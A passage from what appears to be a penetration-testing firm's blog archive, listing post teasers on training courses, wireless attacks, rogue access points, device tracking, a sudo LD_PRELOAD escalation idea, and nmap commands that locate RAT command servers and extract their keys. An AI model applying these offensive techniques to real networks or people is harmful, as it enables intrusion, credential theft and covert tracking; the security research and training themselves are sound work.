Intercept/Replace rules- ping messages were irritating and Burp had no way to not intercept these. It also wasn’t possible to configure out replace rules. And according to this, it isn’t coming to Burp anytime soon… https://support.portswigger.net/customer/portal/questions/11577304-replace-text-in-websocket-operations
Replay/Intruder – there is no way to replay a websocket request in Burp. This also means no Intruder :(

At this junction, three options were available to me. Use ZAP (which does have intercept rules but not replay/replace/intruder). Use Internet Explorer and force the app into non-websocket mode or write a custom proxy. So the choice was obvious, write a custom proxy.

WiFi De-authentication Rifle:

Mon, 13 Jul 2015 10:53:00 +0000

Wireless: it’s everywhere these days and yet owning it never gets boring.

As part of our annual SensePost hackathon, where we get time off projects and get to spend a week tinkering with tech and ideas, the team I was in, consisting of Dominic, Nathi and myself, decided on creating a wireless rifle de-authentication gun, which utilized a yagi antenna and a Raspberry Pi.

The idea was simple: simulate some of the tools available in aircrack-ng wireless hacking suite in one script but without utilizing aircrack-ng in the process.

Mobile Application Bootcamp – Journeyman Level – Black Hat Vegas 2015

Fri, 12 Jun 2015 13:51:29 +0000

Mobile Course, O RLY?

The mobile app market, and app usage, grew 76% in 2014 [1].

From shopping, utilities, productivity and health apps. Flurry, the mobile app analytics firm responsible for the survey, tracked 2.079 trillion app sessions, with a daily session record taking place on December 31st with 8.5 billion sessions as people celebrated New Year’s Eve. We are placing more information online via mobile apps than ever before, but, what does it mean in terms of security?

Running sslscan on 5k servers taken from Alexa’s top 10k

Tue, 09 Jun 2015 09:16:15 +0000

Transport layer security has had a rough ride recently, with a number of vulnerabilities being reported. At a time when trust is required between you and the site you are interacting with, it’s key that website owners configure their sites to be as secure as possible.

With that in mind, I decided to analyse HTTP Security Headers from the top 10k Alexa websites, and look at what SSL Ciphers were being used on those websites.

We need you to analyse the threats

Tue, 05 May 2015 09:41:15 +0000

Our Intelligence service team is growing and we are looking for a Threat Analyst to join us. Not only is the working environment pretty cool, the work you’ll be doing means you’ll be learning a lot and also working with some really smart people who are happy to share what they know. We also have great coffee.

This role is perfect for that person who literally gets excited about the thought of unpacking an attack, figuring out how they achieved what they did and then taking that information and creating practical defence guides and advice for our clients. If this sounds like you, send me an e-mail.

Maltego Webinar Series: Episode 01, Introduction

Mon, 20 Apr 2015 21:12:40 +0000

Hello Internet,

We’re going to be hosting monthly Maltego webinar sessions, and our first one is this Friday (24th April)! Being our first episode we’re going to start with the basics of the basics. Our agenda is as follows:

What is Maltego?
Why Maltego?
Where can I get it?
How does this user interface work?
What are these Maltego terms and buzzwords?
What’s a transform and how I can run one?
Bonus round!

Lovely Pwnies – Twitter Monitor

Fri, 10 Apr 2015 12:40:13 +0000

Recently there were revelations about a GHCQ initiative called ‘Lovely Horses’ to monitor certain hackers’ Twitter handles. The guys over at Paterva quickly whipped up a Maltego Machine to replicate this:

Building your own LovelyHorse monitoring system with Maltego (even the free version) – it’s easy!

We’ve wrapped some supporting transforms around that Machine to allow you to create and manage your own set of lovely horses (Twitter accounts), and dubbed it ‘Lovely Pwnies’. You can obtain the transforms and original Machine via the new Maltego Transform Hub.

Break the Web at BlackHat Singapore

Mon, 09 Mar 2015 13:04:15 +0000

Web application security training in 2015?

It’s a valid question we get asked sometimes. With the amount of books available on the subject, the tools that seemingly automate the process coupled with the fact that findings bugs in web apps should be harder now that frameworks and developers are more likely to produce secure code, is there a need to still train people up in the art of application exploitation?

SensePost Training

Wed, 04 Mar 2015 11:20:29 +0000

Over those years, we’ve trained thousands of students in the art of offensive and defensive security through our Hacking by Numbers courses.

Our courses are taken directly from the work we do. When we compromise networks, or applications with new techniques, they’re turned into modules in the appropriate course. We also don’t use trainers; every course is given by one of our analysts to keep it authentic.

For our fifteenth year, we’ve decided it was time to retire the ‘Hacking by Numbers’ name and just call it was it really always has been: SensePost Training.

Improvements in Rogue AP attacks – MANA 1/2

Mon, 23 Feb 2015 08:30:02 +0000

At Defcon 22 we presented several improvements in wifi rogue access point attacks. We entitled the talk “Manna from heaven” and released the MANA toolkit. I’ll be doing two blog entries. The first will describe the improvements made at a wifi layer, and the second will cover the network credential interception stuff. If you just want the goodies, you can get them at the end of this entry for the price of scrolling down.

Commercial Snoopy Launch! [ ShadowLightly ]

Fri, 16 Jan 2015 18:42:04 +0000

Hello world!

We’ve been busy squireling away on a much requested project – a commercial Snoopy offering. We’ve called it ShadowLightly, and we’d like to invite you to join the beta explorer program. We’re going to offer ten 3-month trials to the site (you’d need to buy sensors / build your own), and in return we’d ask that you help us debug any issues. To apply, please email explorer@shadowlightly.com – introduce yourself, and tell us a little about why you’d like to join the program.

Demonstrating ClickJacking with Jack

Mon, 15 Sep 2014 09:51:25 +0000

Jack is a tool I created to help build Clickjacking PoC’s. It uses basic HTML and Javascript and can be found on github, https://github.com/sensepost/Jack

To use Jack, load Jack’s HTML,CSS and JS files using the method of your choice and navigate to Jack’s index.html.

Jack comes with three additional pages; sandbox.html, targetLogin.html and targetRead.html. targetRead.html can be used to demonstrate Clickjacking that reads values from a page and sandbox.html is used to display the Clickjacking demonstration. Jack by default loads the “Read” html page with default CSS and Styles.

DefCon 22 – Practical Aerial Hacking & Surveillance

Sun, 10 Aug 2014 02:07:47 +0000

Hello from Las Vegas! Yesterday (ed: uh, last week, my bad) I gave a talk at DefCon 22 entitled ‘Practical Aerial Hacking & Surveillance‘. If you missed the talk the slides are available here. Also, I’m releasing a paper I wrote as part of the talk entitled ‘Digital Terrestrial Tracking: The Future of Surveillance‘, click here to download it.

Whiskey shot!

The Snoopy code is available on our GitHub account, and you can join the mailing list here. Also, congratulations to @AmandersLPD for winning our #SnoopySensor competition! You can see the output of our *amazing* PRNG in action below: I’ll update this post to point to the DefCon video once they’re released. In the meantime, the specifications of my custom quadcopter I had on stage are below:

SensePost partners with Paterva to offer improved security intelligence

Mon, 04 Aug 2014 21:24:13 +0000

We’ve been big fans of Maltego and the team at Paterva for a very long time now, and we frequently use this powerful tool for all kinds of fun and interesting stuff, like

Using Maltego to explore threat & vulnerability data;
Snoopy: A distributed tracking and profiling framework,
‘Scraping’ time servers;
Using Maltego to Data Mine Twitter;
and even an analyse on the Use of Social Media by ISIS.

We go way back with Andrew and Roelof, who was in fact a founder of SensePost, so today we’re super excited to be able to announce a new, strengthened partnership with them under which we have been accredited as an Approved Maltego Solutions Provider. Basically this means the that with Paterva’s help we plan to use the powerful Maltego toolset to become better at our job – that is to provide information and information systems to our customer with which they can make sound security decisions. Here’s the official news:

The SensePost Academy: Wrecking Balls

Fri, 27 Jun 2014 12:42:08 +0000

There is a serious skills shortage in our industry. There are just not enough skilled hackers out there to fill all the open positions. In November of last year, I proposed a new approach for us at SensePost to address these concerns. I looked at what we could do as a company to ensure the next generation of hackers were being educated correctly (no, it’s not about how you use a tool) and moulded into what we, at SensePost, perceive to be good penetration testers.

SensePost Challenge – Winners and Walkthrough

Fri, 27 Jun 2014 08:26:40 +0000

We recently ran our Black Hat challenge where the ultimate prize was a seat on one of our training courses at Black Hat this year. This would allow the winner to attend any one of the following:

The challenge was extremely well received and we received 6 successful entries and numerous other attempts. All the solutions were really awesome and we saw unique attacks, with the first three entrants all solving the challenge in a different way.

Hacking Challenge: Drive a tank through it

Thu, 19 Jun 2014 12:02:46 +0000

At SensePost we get to enjoy some challenging assessments and do pretty epic things. Some days it feels like the only thing that could make it better would be driving tanks while doing it. The best hacks normally make their way into our training courses as practical exercises where students get to replicate (and improve on) these hacks. However, we know that there isn’t always room for all the epicness and unfortunately not everyone can attend the training. So we put some into a challenge for you. We’ve taken a few recent hacks and rolled them into one challenge, can you crack it?

Release the hounds! Snoopy 2.0

Fri, 13 Jun 2014 07:51:35 +0000

Friday the 13th seemed like as good a date as any to release Snoopy 2.0 (aka snoopy-ng). For those in a rush, you can download the source from GitHub, follow the README.md file, and ask for help on this mailing list. For those who want a bit more information, keep reading.

What is Snoopy?

Snoopy is a distributed, sensor, data collection, interception, analysis, and visualization framework. It is written in a modular format, allowing for the collection of arbitrary signals from various devices via Python plugins.

Using Maltego to explore threat & vulnerability data

Fri, 06 Jun 2014 01:52:34 +0000

This blog post is about the process we went through trying to better interpret the masses of scan results that automated vulnerability scanners and centralised logging systems produce. A good example of the value in getting actionable items out of this data is the recent Target compromise. Their scanning solutions detected the threat that lead to their compromise, but no humans intervened. It’s suspected that too many security alerts were being generated on a regular basis to act upon.

Associating an identity with HTTP requests – a Burp extension

Thu, 05 Jun 2014 14:38:13 +0000

This is a tool that I have wanted to build for at least 5 years. Checking my archives, the earliest reference I can find is almost exactly 5 years ago, and I’ve been thinking about it for longer, I’m sure.

Finally it has made it out of my head, and into the real world!

Be free! Be free!

So, what does it do, and how does it do it?

The core idea for this tool comes from the realisation that, when reviewing how web applications work, it would help immensely to be able to know which user was actually making specific requests, rather than trying to just keep track of that information in your head (or not at all). Once you have an identity associated with a request, that enables more powerful analysis of the requests which have been made.

BootCamp Reloaded Infrastructure

Tue, 13 May 2014 13:23:08 +0000

Why Infrastructure Hacking Isn’t Dead

If you work in IT Security you may have heard people utter the phrase,

“Infrastructure hacking is dead!”

We hear this all the time but in all honesty, our everyday experience of working in the industry tells a completely different story.

With this in mind we’ve decided to factor out our “infrastructure related h@x0ry” from our Bootcamp Course and create a brand spanking new one, completely dedicated to all things ‘infrastructure’.

SenseCon 2014

Mon, 07 Apr 2014 14:10:11 +0000

What originally started as one of those “hey, wouldn’t this be cool?” ideas, has blossomed into a yearly event for us at SensePost. SenseCon is a time for all of us to descend on South Africa and spend a week, learning/hacking/tinkering/breaking/building, together and in person.

A few years ago we made the difficult, and sometimes painful, shift to enable remote working in preparation for the opening of our UK and Cape Town offices. Some of you probably think this is a no-brainer, but the benefit of being in the same room as your fellow hackers can’t be overlooked. Being able to call everyone over to view an epic hack, or to ask for a hand when stuck is something tools like Skype fail to provide. We’ve put a lot of time into getting the tech and processes in place to give us the “hackers in the same room” feel, but this needs to be backed with some IRL interaction too.

Combat Reloaded

Wed, 02 Apr 2014 12:50:15 +0000

The British Special Air Service (SAS) have a motto that’s rather fitting for their line of work – Who Dares Wins

To a degree, the same could be said for our newly updated Hacking by Numbers course, Combat. Penetration testing is sometimes more than following a checklist or going for the easy kill. A good penetration tester knows how to handle all thrown at them, be it a Joomla implementation, or *shudder* an OpenBSD box.

Channel 4 – Mobile Phone Experiment

Thu, 06 Feb 2014 19:20:02 +0000

This evening we were featured on Channel 4’s DataBaby segment (link to follow). Channel 4 bought several second hand mobile phones that had been “wiped” (or rather reset to factory default) from various shops. Our challenge was to recover enough data from these seemingly empty phones to identify the previous owners.

After a long night of mobile forensics analysis, we had recovered personal data from almost every phone we had been provided with. This information included:

Revisting XXE and abusing protocols

Tue, 28 Jan 2014 11:20:30 +0000

Recently a security researcher reported a bug in Facebook that could potentially allow Remote Code Execution (RCE). His writeup of the incident is available here if you are interested. The thing that caught my attention about his writeup was not the fact that he had pwned Facebook or earned $33,500 doing it, but the fact that he used OpenID to accomplish this. After having a quick look at the output from the PoC and rereading the vulnerability description I had a pretty good idea of how the vulnerability was triggered and decided to see if any other platforms were vulnerable.

January Get Fit Reversing Challenge

Fri, 17 Jan 2014 13:00:56 +0000

Aah, January, a month where resolutions usually flare out spectacularly before we get back to the couch in February. We’d like to help you along your way with a reverse engineering challenge put together by Siavosh as an introduction to reversing, and a bit of fun.

The Setup

This simple reversing challenge should take 4-10+ hours to complete, depending on your previous experience. The goal was to create an interactive challenge that takes you through different areas of the reverse engineering process, such as file format reverse engineering, behavioural and disassembly analysis.

Goodbye to 2013, hello to 2014

Mon, 23 Dec 2013 13:29:32 +0000

With 2013 coming to a close, I thought it pertinent to look back at the year we’ve had and also forward to what’s promising to be an incredibly exciting 2014 for us.

2013 for SensePost, was a year of transition. With a new leadership structure in myself, Shane and Dominic, we had a chance to stamp our style and vision and also learn from Charl and Jaco. One of the first leadership choices was to expand our reach and open our first office in London, aptly in a borough called Hackney. Here, we grew our family and welcomed some amazing people into the plak. After a few short months, we had outgrown the office and needed to look for bigger premises, this time in another aptly named area: Whitechapel (think Jack the Ripper).

Botconf 2013

Tue, 17 Dec 2013 08:37:34 +0000

Botconf’13, the “First botnet fighting conference” took place in Nantes, France from 5-6 December 2013. Botconf aimed to bring together the anti-botnet community, including law enforcement, ISPs and researchers. To this end the conference was a huge success, especially since a lot of networking occurred over the lunch and tea breaks as well as the numerous social events organised by Botconf.

I was fortunate enough to attend as a speaker and to present a small part of my Masters research. The talk focused the use of Spatial Statistics to detect Fast-Flux botnet Command and Control (C2) domains based on the geographic location of the C2 servers. This research aimed to find novel techniques that would allow for accurate and lightweight classifiers to detect Fast-Flux domains. Using DNS query responses it was possible to identify Fast-Flux domains based on values such as the TTL, number of A records and different ASNs. In an attempt to increase the accuracy of this classifier, additional analysis was performed and it was observed that Fast-Flux domains tended to have numerous C2 servers widely dispersed geographically. Through the use of the statistical methods employed in plant and animal dispersion statistics, namely Moran’s I and Geary’s C, new classifiers were created. It was shown that these classifiers could detect Fast-Flux domains with up to a 97% accuracy, maintaining a False Positive rate of only 3.25% and a True Positive rate of 99%. Furthermore, it was shown that the use of these classifiers would not significantly impact current network performance and would not require changes to current network architecture.

Mobile Hacking on the West Coast

Fri, 22 Nov 2013 13:42:30 +0000

December sees SensePost presenting Hacking by Numbers: Mobile at BlackHat West Coast Trainings. This course was first presented at BlackHat Vegas 2013 and 44Con 2013, growing in popularity and content with each iteration. For more information continue reading below or visit https://blackhat.com/wc-13/training/Hacking-by-Numbers-Mobile.html.

The mobile environment has seen immense growth and has subsequently seen organisations racing to be the first to market with the next best app. The rapid increase in mobile popularity and the speed at which developers are forced to produce new applications has resulted in an ecosystem full of security vulnerabilities. As more organisations are moving from web applications to mobile applications, penetration testers are required to adapt their testing methodology to keep pace with the changing platforms. Mobile applications developers have been lulled into a false sense of security due to the belief that “the platform will take care of the security”. The Hacking by Numbers: Mobile course aims to help both penetration testers and mobile applications developers to find and understand common security vulnerabilities on a wide range of mobile platforms. The course teaches a mobile application security testing methodology that can easily be applied to mobile applications on Android, iOS, Blackberry and Windows Mobile.

RAT-a-tat-tat

Fri, 22 Nov 2013 12:11:13 +0000

Hey all,

So following on from my talk (slides, video) I am releasing the NMAP service probes and the Poison Ivy NSE script as well as the DarkComet config extractor.

Rat a-tat-tat from SensePost

An example of finding and extracting Camellia key from live Poison Ivy C2’s:
nmap -sV -Pn --versiondb=nmap-service-probes.pi --script=poison-ivy.nse <ip_address/range)
Finding Poison Ivy, DarkComet and/or Xtreme RAT C2’s:
nmap -sV -Pn --versiondb=nmap-service-probes.pi <ip_range>

Never mind the spies: the security gaps inside your phone

Fri, 15 Nov 2013 13:01:02 +0000

For the last year, Glenn and I have been obsessed with our phones; especially with regard to the data being leaked by a device that is always with you, powered on and often provided with a fast Internet connection. From this obsession, the Snoopy framework was born and released.

After 44con this year, Channel 4 contacted us to be part of a new experimental show named ‘Data Baby‘, whose main goal is to grab ideas from the security community, and transform them into an easy-to-understand concept screened to the public during the 7 o’clock news.

A new owner for a new chapter

Fri, 01 Nov 2013 11:50:00 +0000

We’re pleased to announce our acquisition today by SecureData Europe.

SecureData (www.secdata.com) is a complete independent security services provider based in the UK and was also previously part of the SecureData Holdings group before being acquired by management in November 2012. The strategic acquisition complements SecureData’s vision for enabling an end-to-end, proactive approach to security for global customers by assessing risk, detecting threats in real-time, protecting valuable assets and responding to security issues when they occur.

Offence oriented defence

Fri, 06 Sep 2013 13:29:28 +0000

We recently gave a talk at the ITWeb Security Summit entitled “Offense Oriented Defence”. The talk was targeted at defenders and auditors, rather then hackers (the con is oriented that way), although it’s odd that I feel the need to apologise for that ;)

The talks primary point, was that by understanding how attackers attack, more innovative defences can be imagined. The corollary was that common defences, in the form of “best practise” introduce commonality that is more easily exploited, or at least degrade over time as attackers adapt. Finally, many of these “security basics” are honestly hard, and we can’t place the reliance on them we’d hoped. But our approach doesn’t seem to want to acknowledge the problem, and much like an AA meeting, it’s time we recognise the problem.

44CON 2013

Wed, 04 Sep 2013 09:39:05 +0000

In one week, it’s 44CON time again! One of our favourite UK hacker cons. In keeping with our desire to make more hackers, we’re giving several sets of training courses as well as a talk this year.

Training: Hacking by Numbers – Mobile Edition

If you’re in a rush, you can book here.

We launched it at Blackhat USA, and nobody threw anything rotting, in-fact some said it went pretty well; our latest addition to the Hacking by Numbers training.

BlackHat Conference: Z-Wave Security

Mon, 19 Aug 2013 10:23:32 +0000

We are publishing the research paper and tool for our BlackHat 2013 USA talk on the Z-Wave proprietary wireless protocol security. The paper introduces our Z-Wave packet interception and injection toolkit (Z-Force) that was used to analyze the security layer of Z-Wave protocol stack and discover the implementation details of the frame encryption, data origin authentication and key establishment process. We developed the Z-Force module to perform security tests against the implementation of the Z-Wave security layer in encrypted home automation devices such as a door locks. The paper describes the details of a critical vulnerability discovered in a Z-Wave door lock that could enable an attacker to remotely take full control of the target device without knowledge of the network encryption key. The Z-Force download archive contains the GUI program and two radio firmware files for the receiver and transmitter TI CC1110 boards.
This research will also be presented at 44Con 2013 in London next month, followed by the release of Z-Force source code and US frequency support (908.4 MHz) in the firmware.

Hacking by Numbers – The mobile edition

Mon, 19 Aug 2013 08:52:06 +0000

West Coast in the house, well actually more like an African visiting Seattle for Blackhat’s West Coast Trainings.

We’ve had a great year delivering the latest course in our amazing Hacking by Numbers training series: Mobile. What’s cool about this course, is like the others, we teach a hacking methodology rather than punting a tool or a magic, do it all solutions.

Mobile was created to match the continuous growth in mobile phone usage, with a specific focus on showing you how you would go about testing the mobile platforms and installed applications, to ensure they have been developed in a secure manner. HBN Mobile provides a complete and practical window into the methods used when attacking mobile platforms and presents you with a methodology that can be applied across platforms. This course is structured to cater to penetration testers who are new to the mobile area and who need to understand how to analyze and audit applications on various mobile platforms using a variety of tools.

Rogue Access Points, a how-to

Fri, 12 Jul 2013 12:44:29 +0000

In preparation for our wireless training course at BlackHat Vegas in a few weeks, I spent some time updating the content on rogue/spoofed access points. What we mean by this are access points under your control, that you attempt to trick a user into connecting to, rather than the “unauthorised access points” Bob in Marketing bought and plugged into your internal network for his team to use.

I’ll discuss how to quickly get a rogue AP up on Kali that will allow you to start gathering some creds, specifically mail creds. Once you have that basic pattern down, setting up more complex attacks is fairly easy.

Technical Project Manager Role

Thu, 06 Jun 2013 14:57:10 +0000

As SensePost grows, so does our desire to ensure a healthy balance between technical savvy and organisational skills. As a result, we are on the lookout for a Technical Project Manager based in our Pretoria office in South Africa.

Job Title: Technical Project Manager
Salary Range: Industry standard, commensurate with experience
Location: Pretoria, South Africa

About the role

Define and implement Project workflows for various service lines.
Architect , source and implement a project management system that includes real-time, accessible scheduling system.
Technical project scoping. (can grow into this responsibility over time)
Lead the planning and implementation of project
Facilitate the definition of project scope, goals and deliverables
Define project tasks and resource requirements
Develop fullscale project plans
Assemble and coordinate project staff
Manage project budget
Manage project resource allocation
Plan and schedule project timelines
Track project deliverables using appropriate tools
Provide direction and support to project team
Drive quality assurance process
Constantly monitor and report on progress of the project to all stakeholders
Present reports defining project progress, problems and solutions
Implement and manage project changes and interventions to achieve project outputs
Project evaluations and assessment of results

Education and Experience

A software level analysis of TrustZone OS and Trustlets in Samsung Galaxy Phone

Tue, 04 Jun 2013 17:53:54 +0000

Introduction:

New types of mobile applications based on Trusted Execution Environments (TEE) and most notably ARM TrustZone micro-kernels are emerging which require new types of security assessment tools and techniques. In this blog post we review an example TrustZone application on a Galaxy S3 phone and demonstrate how to capture communication between the Android application and TrustZone OS using an instrumented version of the Mobicore Android library. We also present a security issue in the Mobicore kernel driver that could allow unauthorised communication between low privileged Android processes and Mobicore enabled kernel drivers such as an IPSEC driver.

BlackHat Challenge – 2013

Mon, 03 Jun 2013 08:09:04 +0000

One of the things we try and get across in our training – is that pen-testing requires out of the box thinking. It’s also about solving puzzles and making things work the way you want them to. It’s about identifying the small vulnerabilities (which are often easy to spot), and trying to leverage them into something useful. A key process we strive to do at SensePost, when performing these penetration tests, is about having fun.

Honey, I’m home!! – Hacking Z-Wave & other Black Hat news

Sat, 01 Jun 2013 21:56:01 +0000

You’ve probably never thought of this, but the home automation market in the US was worth approximately $3.2 billion in 2010 and is expected to exceed $5.5 billion in 2016.

Under the hood, the Zigbee and Z-wave wireless communication protocols are the most common used RF technology in home automation systems. Zigbee is based on an open specification (IEEE 802.15.4) and has been the subject of several academic and practical security researches. Z-wave is a proprietary wireless protocol that works in the Industrial, Scientific and Medical radio band (ISM). It transmits on the 868.42 MHz (Europe) and 908.42MHz (United States) frequencies designed for low-bandwidth data communications in embedded devices such as security sensors, alarms and home automation control panels.

Something about sudo, Kingcope and re-inventing the wheel

Mon, 27 May 2013 18:07:35 +0000

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo – long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

Black Hat Vegas 2013 – Course Summaries

Sun, 26 May 2013 17:08:02 +0000

We have an updated breakdown of our BlackHat courses here

With the ‘early registration’ discount period coming to an end on May 31, I wanted to provide an overview of what courses we’re offering and how those courses fit together.

Please be sure to take advantage of these discounted prices whilst they’re still available. This summary will help you decide which course is best for you…

1. “Cadet” is our intro course. It provides the theoretical and practical base required to get the most of our other courses. Don’t let the introduction title put you off, this course sets the stage for the rest of the course, and indeed fills in many blanks people might have when performing offensive security assessments. We only offer it on the weekend (27th & 28th) but its really popular so we’ve opened a 2nd classroom. Plenty of space available, so sign up!

BlackOps Hacking Training – Las Vegas

Thu, 23 May 2013 14:47:57 +0000

BlackOps you say?
At SensePost we have quite a range of courses in our Hacking by Numbers series. We feel each one has its own special place. I’ve delivered almost all the courses over the years, but my somewhat biased favourite is our relatively new BlackOps Edition. Myself (Glenn) and Vlad will be presenting this course at BlackHat Vegas in July.

Where Does BlackOps fit in?
Our introductory courses (Cadet and Bootcamp) are meant to establish the hacker mindset – they introduce the student to psychological aspects of an attacker, and build on that to demonstrate real world capability. BlackOps is designed for students who understand the basics of hacking (either from attending Bootcamp/Cadet, or from other experience) and want to acquire deeper knowledge of techniques. We built the course based on our 12 years of experience of performing security assessments.

Stay low, move fast, shoot first, die last, one shot, one kill, no luck, pure skill …

Thu, 23 May 2013 07:22:04 +0000

We’re excited to be presenting our Hacking By Numbers Combat course again at Black Hat USA this year. SensePost’s resident German haxor dude Georg-Christian Pranschke will be presenting this year’s course. Combat fits in right at the top of our course offerings. No messing about, this really is the course where your sole aim is to pwn as much of the infrastructure and applications as possible. It is for the security professional looking to hone their skill-set, or to think like those in Unit 61398. There are a few assumptions though:

Your first mobile assessment

Mon, 20 May 2013 07:39:35 +0000

Monday morning, raring for a week of pwnage and you see you’ve just been handed a new assessment, awesome. The problem? It’s a mobile assessment and you’ve never done one before. What do you do, approach your team leader and ask for another assessment? He’s going to tell you to learn how to do a mobile assessment and do it quickly, there are plenty more to come.

Now you set out on your journey into mobile assessments and you get lucky, the application that needs to be assessed is an Android app. A few Google searches later and you are feeling pretty confident about this, Android assessments are meant to be easy, there are even a few tools out there that “do it all”. You download the latest and greatest version, run it and the app gets a clean bill of health. After all, the tool says so, there is no attack surface; no exposed intents and the permissions all check out. You compile your report, hand it off to the client and a week later the client gets owned through the application… Apparently the backend servers were accepting application input without performing any authentication checks. Furthermore, all user input was trusted and no server side validation was being performed. What went wrong? How did you miss these basic mistakes? After-all, you followed all the steps, you ran the best tools and you ticked all the boxes. Unfortunately this approach is wrong, mobile assessments are not always simply about running a tool, a lot of the time they require the same steps used to test web applications, just applied in a different manner. This is where SensePost’s Hacking by numbers: Mobile comes to the fore, the course aims to introduce you to mobile training from the ground up.

Wifi Hacking & WPA/2 PSK traffic decryption

Thu, 09 May 2013 11:22:53 +0000

When doing wireless assessments, I end up generating a ton of different scripts for various things that I thought it would be worth sharing. I’m going to try write some of them up. This is the first one on decrypting WPA/2 PSK traffic. The second will cover some tricks/scripts for rogue access-points. If you are keen on learn further techniques or advancing your wifi hacking knowledge/capability as a whole, please check out the course Hacking by Numbers: Unplugged, I’ll be teaching at BlackHat Las Vegas soon.

Windows Domain Privilege Escalation : Implementing PSLoggedOn in Metasploit (+ a bonus history module)

Mon, 22 Apr 2013 08:00:35 +0000

There are multiple paths one could take to getting Domain Admin on a Microsoft Windows Active Directory Domain. One common method for achieving this is to start by finding a system where a privileged domain account, such as a domain admin, is logged into or has recently been logged into. Once access to this system has been gained, either stealing their security tokens (ala Incognito or pass-the-hash attacks) or querying Digest Authentication (with Mimikatz/WCE) to get their clear-text password. The problem is finding out where these user’s are logged in.

Analysis of Security in a P2P storage cloud

Fri, 12 Apr 2013 14:40:38 +0000

A cloud storage service such as Microsoft SkyDrive requires building data centers as well as operational and maintenance costs. An alternative approach is based on distributed computing model which utilizes portion of the storage and processing resources of consumer level computers and SME NAS devices to form a peer to peer storage system. The members contribute some of their local storage space to the system and in return receive “online backup and data sharing” service. Providing data confidentiality, integrity and availability in such de-centerlized storage system is a big challenge to be addressed. As the cost of data storage devices declines, there is a debate that whether the P2P storage could really be cost saving or not. I leave this debate to the critics and instead I will look into a peer to peer storage system and study its security measures and possible issues. An overview of this system’s architecture is shown in the following picture:

Google Docs XSS – no bounty today

Mon, 04 Mar 2013 12:49:31 +0000

A few days ago, during one of those nights with the baby crying at 2:00 am and the only thing you can do is to read emails, I realised that Gmail shows the content of compressed files when reading them in Google Docs. As often is the case at SensePost, the “think evil ™” came to me and I started to ponder the possibilities of injecting HTML inside the file listing. The idea is actually rather simple. Looking at the file format of a .zip file we see the following:

Black Hat Europe – Bootcamp Training

Mon, 04 Mar 2013 08:36:53 +0000

SensePost will be at Black Hat Europe 2013 to deliver the Bootcamp module of the Hacking by Numbers series. This method based introductory course emphasizes the structure, approach, and thought-processes involved in hacking (over tools and tricks). The course is popular with beginners, who gain their first view into the world of hacking, as well as experts, who appreciate the sound, structured approach.

A break down of what will be covered during this course:

Vulnerability Management Analyst Position

Mon, 04 Mar 2013 07:25:37 +0000

Have a keen interest on scanning over 12000 IP’s a week for vulnerabilities? Excited about the thought of assessing over 100 web applications for common vulnerabilities? If so, an exciting, as well as demanding, position has become available within the Managed Vulnerability Scanning (MVS) team at SensePost.

Job Title: Vulnerability Management Analyst

Salary Range: Industry standard, commensurate with experience

Location: Johannesburg/Pretoria, South Africa

We are looking for a talented person to join our MVS team to help manage the technology that makes up our Broadview suite and, more importantly, finding vulnerabilities, interpreting the results and manually verifying them. We are after talented people with a broad skill set to join our growing team of consultants. Our BroadView suite of products consists of our extensive vulnerability scanning engine, which looks at both the network-layer and the application layer, as well as our extensive DNS footprinting technologies.

IT Network Packet Wrangler

Sat, 02 Mar 2013 10:32:28 +0000

As we grow and operate on a number of continents, so does our dependence on a rock-solid IT infrastructure. We are expanding our repertoire to include a greater collection of Linux/Open Source/Windows and OS X products. With this, we are on the look-out for a rock star to wrangle control of our internal networks, external cloud infrastructure and help us us utilise technology in a way to make us even better.

Adolescence: 13 years of SensePost

Thu, 14 Feb 2013 18:13:51 +0000

Today was our 13th birthday. In Internet years, that’s a long time. Depending on your outlook, we’re either almost a pensioner or just started our troublesome teens. We’d like to think it’s somewhere in the middle. The Internet has changed lots from when SensePost was first started on the 14th February 2000. Our first year saw the infamous ILOVEYOU worm wreak havoc across the net, and we learned some, lessons on vulnerability disclosure, a year later we moved on to papers about “SQL insertion” and advanced trojans. And the research continues today.

Poking Around in Android Memory

Mon, 11 Feb 2013 12:36:22 +0000

Taking inspiration from Vlad’s post I’ve been playing around with alternate means of viewing traffic/data generated by Android apps.

The technique that has given me most joy is memory analysis. Each application on android is run in the Dalvik VM and is allocated it’s own heap space. Android being android, free and open, numerous ways of dumping the contents of the application heap exist. There’s even a method for it in the android.os.Debug library: android.os.Debug.dumpHprofData(String filename). You can also cause a heap dump by issuing the kill command:

Client Side Fingerprinting in Prep for SE

Wed, 16 Jan 2013 12:45:30 +0000

On a recent engagement, we were tasked with trying to gain access to the network via a phishing attack (specifically phishing only). In preparation for the attack, I wanted to see what software they were running, to see if Vlad and I could target them in a more intelligent fashion. As this technique worked well, I thought this was a neat trick worth sharing.

First off the approach was to perform some footprinting to see if I could find their likely Internet breakout. While I found the likely range (it had their mail server in it) I couldn’t find the exact IP they were being NAT’ed to. Not wanting to stop there, I tried out Vlad’s Skype IP disclosure trick, which worked like a charm. What’s cool about this approach is that it gives you both the internal and external IP of the user (so you can confirm they are connected to their internal network if you have another internal IP leak). You don’t even need to be “friends”, you can just search for people who list the company in their details, or do some more advanced OSINT to find Skype IDs of employees.

Dangers of Custom ASP.NET HttpHandlers

Thu, 13 Dec 2012 17:31:00 +0000

ASP.NET HttpHandlers are interesting components of a .NET web application when performing security assessments, mainly due to the fact they are the most exposed part of the application processing client requests in HttpContext level and at the same time, not yet part of the official ASP.NET framework.

As a result, data validation vulnerabilities in custom HttpHandlers can be exploited far easier than issues on the inner layer components. However, they are mostly overlooked during the web application tests for two reasons:

Snoopy Release

Thu, 06 Dec 2012 16:53:39 +0000

We blogged a little while back about the Snoopy demonstration given at 44Con London. A similar talk was given at ZaCon in South Africa. Whilst we’ve been promising a release for a while now, we wanted to make sure all the components were functioning as expected and easy to use. After an army of hundreds had tested it (ok, just a few), you may now obtain a copy of Snoopy from here. Below are some instructions on getting it running (check out the README file from the installer for additional info).

SensePost Hackathon 2012

Mon, 03 Dec 2012 12:08:56 +0000

Last month saw the inaugural SensePost hackathon happen in our new offices in Brooklyn, South Africa. It was the first time the entire company would be in the same room, let alone the same continent, together and away from the pressures of daily work constraints. The idea was simple: weeks before the date, we sent out emails to everyone in the company (not just the tech teams but everyone) to think about ideas, tools, approaches or new business lines that they felt would make us even better at what we did.

Brad the Nurse

